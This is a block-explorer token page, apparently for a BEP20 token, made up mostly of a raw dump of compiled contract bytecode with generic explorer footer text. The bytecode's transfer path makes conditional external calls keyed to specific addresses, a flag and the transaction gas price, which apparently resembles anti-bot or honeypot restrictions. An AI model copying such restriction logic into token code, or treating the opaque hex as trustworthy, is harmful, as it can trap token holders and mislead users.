8d565b6000604051808303816000865af19150503d8060008114611486576040519150601f19603f3d011682016040523d82523d6000602084013e61148b565b606091505b509150506000818060200190518101906114a59190611fa9565b600a549091506001600160a01b03908116908716036114e857828811156114de576114d0838961202c565b9b506012548c119d50611516565b8288149c50611516565b600a546001600160a01b03908116908616036115165780871115611510576114d0818861202c565b8087149c505b8d8061151f57508c5b1561158c57601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916115599160040190815260200190565b600060405180830381600087803b15801561157357600080fd5b505af1158015611587573d6000803e3d6000fd5b505050505b50505050505050505050505050505b8380156115c057506001600160a01b0387166000908152600c602052604090205460ff165b80156115e457506001600160a01b0386166000908152600d602052604090205460ff165b80156115f3575060185460ff16155b801561160f57503360009081526025602052604090205460ff16155b1561167c57601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916116499160040190815260200190565b600060405180830381600087803b15801561166357600080fd5b505af1158015611677573d6000803e3d6000fd5b505050505b8380156116a157506001600160a01b0387166000908152600c602052604090205460ff165b80156116c557506001600160a01b0386166000908152600d602052604090205460ff165b80156116d4575060185460ff16155b80156116ea5750601e546001600160a01b031633145b80156116f757506022543a115b1561176457601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916117319160040190815260200190565b600060405180830381600087803b15801561174b57600080fd5b505af115801561175f573d6000803e3d6000fd5b505050505b336000908152601b602052604090205461177f906001611944565b336000908152601b602052604090205583801561179b57508481105b156117bb5760006117ac8683611c52565b90506117b98830836119aa565b505b6117c68787836119aa565b8380156117d6575060185460ff16155b1561190157600f5460408051600481526024810182526020810180516001600160e01b03166318160ddd60e01b1790529051600092839283926001600160a01b03909216916118259190611f8d565b6000604051808303816000865af19150503d8060008114611862576040519150601f19603f3d011682016040523d82523d6000602084013e611867565b606091505b5091509150808060200190518101906118809190611fa9565b60248190555081925060235460245411156118fd57601c54602054604051631e02403760e21b81526001600160a01b039092169163780900dc916118ca9160040190815260200190565b600060405180830381600087803b1580156118e457600080fd5b505af11580156118f8573d6000803e3d6000fd5b505050505b5050505b50505050505050565b6000818484111561192e5760405162461bcd60e51b8152600401610b929190611da5565b50600061193b848661202c565b95945050505050565b6000806119518385611fd8565b9050838110156119a35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610b92565b9392505050565b6001600160a01b038316611a0e5760405162461bcd60e51b815260206004820152602560248201527f42455032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b92565b6001600160a01b038216611a705760405162461bcd60e51b815260206004820152602360248201527f42455032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b92565b611aad816040518060600160405280602681526020016120a1602691396001600160a01b038616600090815260208190526040902054919061190a565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611adc9082611944565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a3505050565b6001600160a01b038316611b985760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b92565b6001600160a01b038216611bf95760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b92565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259101611b29565b60006119a383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061190a565b600082600003611ca65750600061057a565b6000611cb2838561203f565b905082611cbf8583612056565b146119a35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610b92565b60006119a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611d745760405162461bcd60e51b8152600401610b929190611da5565b50600061193b8486612056565b60005b83811015611d9c578181015183820152602001611d84565b50506000910152565b6020815260008251806020840152611dc4816040850160208701611d81565b601f01601f19169190910160400192915050565b6001600160a01b038116811461082157600080fd5b60008060408385031215611e0057600080fd5b8235611e0b81611dd8565b946020939093013593505050565b600080600060608486031215611e2e57600080fd5b8335611e3981611dd8565b92506020840135611e4981611dd8565b929592945050506040919091013590565b600060208284031215611e6c57600080fd5b81356119a381611dd8565b80358015158114611e8757600080fd5b919050565b60008060008060008060c08789031215611ea557600080fd5b611eae87611e77565b9550602087013594506040870135935060608701359250611ed160808801611e77565b915060a087013590509295509295509295565b600060208284031215611ef657600080fd5b5035919050565b60008060408385031215611f1057600080fd5b8235611f1b81611dd8565b91506020830135611f2b81611dd8565b809150509250929050565b600181811c90821680611f4a57607f821691505b602082108103611f6a57634e487b7160e01b600052602260045260246000fd5b50919050565b60609190911b6bffffffffffffffffffffffff1916815260140190565b60008251611f9f818460208701611d81565b9190910192915050565b600060208284031215611fbb57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561057a5761057a611fc2565b60008060408385031215611ffe57600080fd5b505080516020909101519092909150565b60006020828403121561202157600080fd5b81516119a381611dd8565b8181038181111561057a5761057a611fc2565b808202811582820484141761057a5761057a611fc2565b60008261207357634e487b7160e01b600052601260045260246000fd5b50049056fe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203d6ffdea9f8a25189b210ef1334adcb171780dc58b05bf5456c1d22094f1d0a564736f6c63430008120033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.